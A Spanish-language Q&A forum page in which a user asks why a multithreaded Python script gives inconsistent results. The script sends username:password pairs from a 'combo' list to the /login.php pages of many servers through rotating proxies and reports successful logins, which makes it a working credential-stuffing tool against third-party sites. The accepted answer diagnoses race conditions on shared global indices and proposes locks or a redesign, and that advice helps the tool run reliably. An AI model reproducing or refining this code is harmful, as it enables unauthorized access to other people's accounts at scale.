2

tengo una duda. Estoy haciendo peticiones a muchas paginas, con diferentes user y pass en cada peticion. Estoy usando PROXIES en cada peticion, y adema estoy usando hilos con concurrent.futures.threadpoolexecutor y el script lo arme para que cuando tenga una coincidencia, digamos que entro con el USER y el PASS, me haga un print en la pantalla. El problema es que hay una pagina de prueba que puse en las URL, y esa pagina se cual es el USER Y PASS, y en ocasiones presenta el PRINT en la pantalla y en otros intentos no muestra el PRINT.. y queria saber a que se debe.

    servidores_list2 = []
    servidores_index2 = 0
    with open(r"D:\algo.txt", "r") as servidores2:
        for servidor in servidores2:
            servidores_list2.append(servidor.replace("\n", ""))
    print(Fore.LIGHTGREEN_EX + "Cantidad de servidores: " + str(len(servidores_list2)))
    print(" ")

    def scan_panel(pro, servi):
        global proxys_index
        global servidores_index2
        global combo_list_index
        while servidores_index2 < len(servidores_list2):
            while combo_list_index < len(combo_list):
                while proxys_index < len(proxys_validos):
                    try:
                        total3 = combo_list[combo_list_index].split(":")
                        payload = {
                            'username': total3[0],
                            'password': total3[1],
                            "login_button": 'Login'}
                        with requests.Session() as s:
                            r = s.post(servi + "/login.php", data=payload, proxies={"http": pro}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko'})
                            if "dashboard" in r.text:
                                print(r.url, Fore.LIGHTYELLOW_EX + "username: " + total3[0] + " password: " + total3[1] + Fore.CYAN + " Respuesta: EXITO", "\n")
                                servidores_index2 += 1
                                proxys_index += 1
                                r.close()
                                s.close()
                            else:
                                servidores_index2 += 1
                                proxys_index += 1
                                pass
                                if servidores_index2 == len(servidores_list2):
                                    servidores_index2 = 0
                                    combo_list_index += 1
                                if proxys_index == len(proxys_validos):
                                    proxys_index = 0
                            r.close()
                            s.close()
                    except:
                        continue

    with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
        for pro in proxys_validos:
            for servi in servidores_list2:
                executor.submit(scan_panel, pro, servi)

Cuando yo ejecuto este codigo, a los 40 segundos me imprime que me pude loguear en una peticion. Bien, cancelo todo y vuelvo a probar, y depsues no me imprime mas lo mismo que me imprimio recien.. vuelvo a probar y tampoco, quizas despues de2 minutos, recien ahi me vuelve a imprimir lo que me imprimio al princio, y me gustaria saber por que. Ya que justamente estoy haciendo pruebas de tiempo con concurrent.futures y queria ver cual era la mejor opcion.

2
  • 3
    Tal vez el destino no lo quiere? Sería mejor ir a un brujo que adivine el error. Sin ver el código imposible determinar la causa por favor lee Cómo preguntar
    – Christian
    el 9 dic. 2021 a las 14:57
  • 1
    Ahi puse la parte importante del codigo, lo anterior es solo poner la direcion de los combos, y nada mas.. pero eso es lo mas importante... ahi esta el codigo
    – nicolas
    el 9 dic. 2021 a las 15:15

1 respuesta 1

1

El comportamiento que describes ("a veces sale una cosa y a veces sale otra") es típico de las llamadas condiciones de carrera. Aún si no lo hubieras mencionado en la pregunta, habría adivinado que estás usando hilos.

Cuando dos hilos comparten datos, qué hilo actualiza el primero el dato afecta a los resultados. Por eso se llama una condición de carrera. Según esta metáfora los hilos están compitiendo en una carrera y el que antes llegue a la meta (actualizar una variable compartida) afectará al resultado del programa. Por desgracia la velocidad de cada hilo en esa "carrera" está fuera de nuestro control, ya que es el sistema operativo el que asigna recursos a los hilos que pueden hacer que a veces unos corran más y otras veces corran menos. Por ello la salida del programa es impredecible.

Naturalmente las condiciones de carrera se consideran un bug. El programa debe estar diseñado de forma que las evite y que el comportamiento sea reproducible y no errático, es decir, que el resultado sea el mismo sin que importe cómo el operativo haya asignado recursos a los hilos.

La forma en que afecta es terriblemente compleja de anticipar. Por ello la tendencia es eliminar esos problemas haciendo que los hilos no compartan datos o, si no queda más remedio que compartirlos, hacer que las actualizaciones a esos datos estén controladas por cerrojos, mutexes, semáforos... mecanismos que garanticen el orden en que se actualizarán (o que dos hilos no puedan intentar actualizarlos a la vez).

En tu caso se observa que el código usa una función (scan_panel()) que es ejecutada muchas veces desde muchos hilos, de forma concurrente. Y que esa función hace uso de variables globales, que son una forma de compartir datos entre hilos y por tanto de crear las negativas condiciones de carrera.

La solución pasa por eliminar esas variables globales si es posible (¿puedes pensar en otra forma de hacer lo mismo sin que la función modifique variables globales?) o si no encuentras cómo, proteger las modificaciones a las variables globales mediante un cerrojo compartido entre todos los hilos.

Por ejemplo:

import threading
cerrojo = threading.Lock()

y luego dentro de la función, cada vez que vayas a leer o modificar una variable global, proteger ese acceso con el cerrojo, por ejemplo, cambiar donde tienes:

servidores_index2 += 1

por

with cerrojo:
   servidores_index2 +=1

y así en varios puntos más de tu código. De hecho puede resultarte más cómodo implementar esos contadores a través de una clase que tenga su método Contador.incrementa() por ejemplo, y que internamente esa función haga uso del cerrojo, para evitar escribir código repetitivo.

Pero creo que sería mejor repensar el diseño para evitar el uso de las variables globales. Por ejemplo ¿no podrías iterar en el programa principal por las listas de servidores, combos y proxies y hacer que la función que es ejecutada en cada hilo reciba ya solo un valor concreto de servidor, combo y proxy, en vez de tener que iterar dentro de la función? Eso evitaría los índices globales.

NOTA Otra posibilidad es evitar los hilos y usar en su lugar programación asíncrona. En ese paradigma hay un solo hilo de ejecución, pero eso no impide que puedas ejecutar múltiples tareas concurrentes. Simplemente cuando una de las tareas se bloquea porque está esperando por ejemplo una respuesta de la red, el sistema pasa a ejecutar otra tarea. Nunca hay dos ejecutándose a la vez y por tanto ya no hay condiciones de carrera. El inconveniente es que la programación asíncrona requiere su propio modelo "mental" a la hora de programar, su propia sintaxis con async/await y sus propias librerías asíncronas (por ejemplo requests ya no servería y tendrías que usar por ejemplo aiohttp)

2
  • Excelente, entendi perfecto. Vere si puedo modicar el codigo y ver que resaultados obtengo. Perdon por el desorden del codigo, es que sinceramente aun me cuesta interpretar como hacer las clases o difenir funciones para que tengo un mejor orden.
    – nicolas
    el 9 dic. 2021 a las 15:56
  • 2
    Este es un ejemplo perfecto del meme de Debes ser así de alto para usar threads el 9 dic. 2021 a las 16:25

Tu Respuesta

By clicking “Publica tu respuesta”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

¿No es la respuesta que buscas? Examina otras preguntas con la etiqueta o formula tu propia pregunta.